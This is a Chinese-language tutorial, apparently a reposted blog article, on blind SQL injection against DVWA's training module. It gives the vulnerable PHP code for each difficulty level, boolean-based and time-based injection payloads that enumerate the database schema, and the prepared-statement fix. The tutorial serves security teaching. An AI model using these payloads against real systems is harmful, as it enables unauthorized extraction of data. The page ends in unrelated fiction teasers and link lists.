DVWA之SQL Injection(Blind)

————SQL Injection——(Blind)——

SQL Injection(Blind)歪沃,即SQL盲注轿钠,與一般注入的區(qū)別在于竣稽,一般的注入攻擊者可以直接從頁面上看到注入語句的執(zhí)行結(jié)果隆嗅,而盲注時攻擊者通常是無法從顯示頁面上獲取執(zhí)行結(jié)果,甚至連注入語句是否執(zhí)行都無從得知令漂,因此盲注的難度要比一般注入高。目前網(wǎng)絡上現(xiàn)存的SQL注入漏洞大多是SQL盲注丸边。

DVWA-1.9系列一共分為10個功能模塊:
Brute Force(暴力破解)
Command Injection(命令行注入)
CSRF(跨站請求偽造)
File Inclusion(文件包含)
File Upload(文件上傳)
Insecure CAPTCHA(不安全的驗證碼)
SQL Injection(SQL注入)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站腳本)
XSS(Stored)(存儲型跨站腳本)

————手工————盲注————思路————

手工盲注的過程洗显,就像你與一個機器人聊天,這個機器人知道的很多原环,但只會回答“是”或者“不是”挠唆,因此你需要詢問它這樣的問題,例如“數(shù)據(jù)庫名字的第一個字母是不是a爸雎稹玄组?”滔驾,通過這種機械的詢問,最終獲得你想要的數(shù)據(jù)俄讹。

盲注分為基于布爾的盲注哆致、基于時間的盲注以及基于報錯的盲注,這里由于實驗環(huán)境的限制患膛,只演示基于布爾的盲注與基于時間的盲注摊阀。

下面簡要介紹手工盲注的步驟(可與之前的手工注入作比較):

1.判斷是否存在注入,注入是字符型還是數(shù)字型

2.猜解當前數(shù)據(jù)庫名

3.猜解數(shù)據(jù)庫中的表名

4.猜解表中的字段名

5.猜解數(shù)據(jù)

下面對四種級別的代碼進行分析踪蹬。

————Low————

服務器端核心代碼

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?> 

可以看到胞此,Low級別的代碼對參數(shù)id沒有做任何檢查、過濾跃捣,存在明顯的SQL注入漏洞漱牵,同時SQL語句查詢返回的結(jié)果只有兩種,‘

User ID exists in the database.

‘與‘

`User ID is MISSING from the database.`

‘疚漆,因此這里是SQL盲注漏洞肺魁。

————漏洞利用————

首先演示————基于布爾的盲注————:

1.判斷是否存在注入催蝗,注入是字符型還是數(shù)字型

輸入1,顯示相應用戶存在:

輸入1’ and 1=1 #,顯示存在:

輸入1’ and 1=2 #劫拢,顯示不存在:

說明存在字符型的SQL盲注滚澜。

2.猜解當前數(shù)據(jù)庫名

想要猜解數(shù)據(jù)庫名晌梨,首先要猜解數(shù)據(jù)庫名的長度中跌,然后挨個猜解字符。

輸入1’ and length(database())=1 #发钝,顯示不存在顿涣;

輸入1’ and length(database())=2 #,顯示不存在酝豪;

輸入1’ and length(database())=3 #涛碑,顯示不存在;

輸入1’ and length(database())=4 #孵淘,顯示存在:

說明數(shù)據(jù)庫名長度為4蒲障。

下面采用二分法猜解數(shù)據(jù)庫名。

輸入1’ and ascii(substr(databse(),1,1))>97 #瘫证,顯示存在揉阎,說明數(shù)據(jù)庫名的第一個字符的ascii值大于97(小寫字母a的ascii值);

輸入1’ and ascii(substr(databse(),1,1))<122 #背捌,顯示存在毙籽,說明數(shù)據(jù)庫名的第一個字符的ascii值小于122(小寫字母z的ascii值);

輸入1’ and ascii(substr(databse(),1,1))<109 #毡庆,顯示存在坑赡,說明數(shù)據(jù)庫名的第一個字符的ascii值小于109(小寫字母m的ascii值)烙如;

輸入1’ and ascii(substr(databse(),1,1))<103 #,顯示存在毅否,說明數(shù)據(jù)庫名的第一個字符的ascii值小于103(小寫字母g的ascii值)亚铁;

輸入1’ and ascii(substr(databse(),1,1))<100 #,顯示不存在螟加,說明數(shù)據(jù)庫名的第一個字符的ascii值不小于100(小寫字母d的ascii值)徘溢;

輸入1’ and ascii(substr(databse(),1,1))>100 #,顯示不存在捆探,說明數(shù)據(jù)庫名的第一個字符的ascii值不大于100(小寫字母d的ascii值)然爆,所以數(shù)據(jù)庫名的第一個字符的ascii值為100,即小寫字母d徐许。

重復上述步驟,就可以猜解出完整的數(shù)據(jù)庫名(dvwa)了卒蘸。

3.猜解數(shù)據(jù)庫中的表名

首先猜解數(shù)據(jù)庫中表的數(shù)量:

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在

1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在

說明數(shù)據(jù)庫中共有兩個表雌隅。

接著挨個猜解表名:

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在

說明第一個表名長度為9。

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 顯示不存在

說明第一個表的名字的第一個字符為小寫字母g缸沃。

重復上述步驟恰起,即可猜解出兩個表名(guestbook、users)趾牧。

4.猜解表中的字段名

首先猜解表中字段的數(shù)量:

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 顯示不存在

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在

說明users表有8個字段检盼。

接著挨個猜解字段名:

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在

說明users表的第一個字段為7個字符長度。

采用二分法翘单,即可猜解出所有字段名吨枉。

5.猜解數(shù)據(jù)

同樣采用二分法。

還可以使用————基于時間的盲注————:

1.判斷是否存在注入哄芜,注入是字符型還是數(shù)字型

輸入1’ and sleep(5) #貌亭,感覺到明顯延遲;

輸入1 and sleep(5) #认臊,沒有延遲圃庭;

說明存在字符型的基于時間的盲注。

2.猜解當前數(shù)據(jù)庫名

首先猜解數(shù)據(jù)名的長度:

1’ and if(length(database())=1,sleep(5),1) # 沒有延遲

1’ and if(length(database())=2,sleep(5),1) # 沒有延遲

1’ and if(length(database())=3,sleep(5),1) # 沒有延遲

1’ and if(length(database())=4,sleep(5),1) # 明顯延遲

說明數(shù)據(jù)庫名長度為4個字符失晴。

接著采用二分法猜解數(shù)據(jù)庫名:

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明顯延遲

1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒有延遲

1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 沒有延遲

說明數(shù)據(jù)庫名的第一個字符為小寫字母d剧腻。

重復上述步驟,即可猜解出數(shù)據(jù)庫名涂屁。

3.猜解數(shù)據(jù)庫中的表名

首先猜解數(shù)據(jù)庫中表的數(shù)量:

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 沒有延遲

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明顯延遲

說明數(shù)據(jù)庫中有兩個表书在。

接著挨個猜解表名:

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 沒有延遲

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明顯延遲

說明第一個表名的長度為9個字符。

采用二分法即可猜解出表名拆又。

4.猜解表中的字段名

首先猜解表中字段的數(shù)量:

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 沒有延遲

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明顯延遲

說明users表中有8個字段蕊温。

接著挨個猜解字段名:

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 沒有延遲

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲

說明users表的第一個字段長度為7個字符袱箱。

采用二分法即可猜解出各個字段名。

5.猜解數(shù)據(jù)

同樣采用二分法义矛。

————Medium————

服務器端核心代碼

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

可以看到发笔,Medium級別的代碼利用mysql_real_escape_string函數(shù)對特殊符號

\x00,\n,\r,,’,”,\x1a進行轉(zhuǎn)義,同時前端頁面設置了下拉選擇表單凉翻,希望以此來控制用戶的輸入了讨。

————漏洞利用————

雖然前端使用了下拉選擇菜單,但我們依然可以通過抓包改參數(shù)id制轰,提交惡意構(gòu)造的查詢參數(shù)前计。

之前已經(jīng)介紹了詳細的盲注流程,這里就簡要演示幾個垃杖。

首先是————基于布爾的盲注————:

抓包改參數(shù)id為1 and length(database())=4 #男杈,顯示存在,說明數(shù)據(jù)庫名的長度為4個字符调俘;

抓包改參數(shù)id為1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #伶棒,顯示存在,說明數(shù)據(jù)中的第一個表名長度為9個字符彩库;

抓包改參數(shù)id為1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #肤无,(0×7573657273為users的16進制),顯示存在骇钦,說明uers表有8個字段宛渐。

然后是————基于時間的盲注————:

抓包改參數(shù)id為1 and if(length(database())=4,sleep(5),1) #,明顯延遲眯搭,說明數(shù)據(jù)庫名的長度為4個字符窥翩;

抓包改參數(shù)id為1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明顯延遲鳞仙,說明數(shù)據(jù)中的第一個表名長度為9個字符鳍烁;

抓包改參數(shù)id為1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明顯延遲繁扎,說明uers表有8個字段幔荒。

————High————

服務器端核心代碼

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?> 

可以看到,High級別的代碼利用cookie傳遞參數(shù)id梳玫,當SQL查詢結(jié)果為空時爹梁,會執(zhí)行函數(shù)sleep(seconds),目的是為了擾亂基于時間的盲注提澎。同時在 SQL查詢語句中添加了LIMIT 1姚垃,希望以此控制只輸出一個結(jié)果。

————漏洞利用————

雖然添加了LIMIT 1盼忌,但是我們可以通過#將其注釋掉积糯。但由于服務器端執(zhí)行sleep函數(shù)掂墓,會使得基于時間盲注的準確性受到影響,這里我們只演示基于布爾的盲注

抓包將cookie中參數(shù)id改為1’ and length(database())=4 #看成,顯示存在君编,說明數(shù)據(jù)庫名的長度為4個字符;

抓包將cookie中參數(shù)id改為1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #川慌,顯示存在吃嘿,說明數(shù)據(jù)中的第一個表名長度為9個字符;

抓包將cookie中參數(shù)id改為1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #梦重,(0×7573657273 為users的16進制)兑燥,顯示存在,說明uers表有8個字段琴拧。

Impossible

服務器端核心代碼

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到降瞳,Impossible級別的代碼采用了PDO技術(shù),劃清了代碼與數(shù)據(jù)的界限蚓胸,有效防御SQL注入挣饥,Anti-CSRF token機制的加入了進一步提高了安全性
轉(zhuǎn)載地址:http://www.freebuf.com/articles/web/120985.html

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市赢织,隨后出現(xiàn)的幾起案子亮靴,更是在濱河造成了極大的恐慌馍盟,老刑警劉巖于置,帶你破解...
    沈念sama閱讀 217,542評論 6 504
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異贞岭,居然都是意外死亡八毯,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,822評論 3 394
  • 文/潘曉璐 我一進店門瞄桨,熙熙樓的掌柜王于貴愁眉苦臉地迎上來话速,“玉大人,你說我怎么就攤上這事芯侥〔唇唬” “怎么了?”我有些...
    開封第一講書人閱讀 163,912評論 0 354
  • 文/不壞的土叔 我叫張陵柱查,是天一觀的道長廓俭。 經(jīng)常有香客問我,道長唉工,這世上最難降的妖魔是什么研乒? 我笑而不...
    開封第一講書人閱讀 58,449評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮淋硝,結(jié)果婚禮上雹熬,老公的妹妹穿的比我還像新娘宽菜。我一直安慰自己,他們只是感情好竿报,可當我...
    茶點故事閱讀 67,500評論 6 392
  • 文/花漫 我一把揭開白布铅乡。 她就那樣靜靜地躺著,像睡著了一般仰楚。 火紅的嫁衣襯著肌膚如雪隆判。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,370評論 1 302
  • 那天僧界,我揣著相機與錄音侨嘀,去河邊找鬼。 笑死捂襟,一個胖子當著我的面吹牛咬腕,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播葬荷,決...
    沈念sama閱讀 40,193評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼涨共,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了宠漩?” 一聲冷哼從身側(cè)響起举反,我...
    開封第一講書人閱讀 39,074評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎扒吁,沒想到半個月后火鼻,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,505評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡雕崩,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,722評論 3 335
  • 正文 我和宋清朗相戀三年魁索,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片盼铁。...
    茶點故事閱讀 39,841評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡粗蔚,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出饶火,到底是詐尸還是另有隱情鹏控,我是刑警寧澤,帶...
    沈念sama閱讀 35,569評論 5 345
  • 正文 年R本政府宣布肤寝,位于F島的核電站当辐,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏醒陆。R本人自食惡果不足惜瀑构,卻給世界環(huán)境...
    茶點故事閱讀 41,168評論 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧寺晌,春花似錦世吨、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,783評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至陆赋,卻和暖如春沐祷,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背攒岛。 一陣腳步聲響...
    開封第一講書人閱讀 32,918評論 1 269
  • 我被黑心中介騙來泰國打工赖临, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人灾锯。 一個月前我還...
    沈念sama閱讀 47,962評論 2 370
  • 正文 我出身青樓兢榨,卻偏偏與公主長得像,于是被迫代替她去往敵國和親顺饮。 傳聞我的和親對象是個殘疾皇子吵聪,可洞房花燭夜當晚...
    茶點故事閱讀 44,781評論 2 354

推薦閱讀更多精彩內(nèi)容

  • SQL盲注,與一般注入的區(qū)別在于兼雄,一般的注入攻擊者可以直接從頁面上看到注入語句的執(zhí)行結(jié)果吟逝,而盲注時攻擊者通常是無法...
    牙疼吃糖閱讀 1,660評論 1 5
  • Sql注入定義: 就是通過把sql命令插入到web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執(zhí)行...
    付出從未后悔閱讀 696評論 0 3
  • 時間:2017.9.29 題目鏈接:www.shiyanbar.com/ctf/1909 解題思路:類型為 boo...
    jinxi197閱讀 318評論 0 0
  • 姓名:于川皓 學號:16140210089 轉(zhuǎn)載自:https://baike.baidu.com/item/sq...
    道無涯_cc76閱讀 1,949評論 0 2
  • 杯子與水的關(guān)系讓我想起了禁止與引誘。 2017年11月14日 星期二 晴 長夜漫漫金砍,杯子說:“我好空虛局蚀,好寂寞...
    尊敬的王二閱讀 767評論 29 40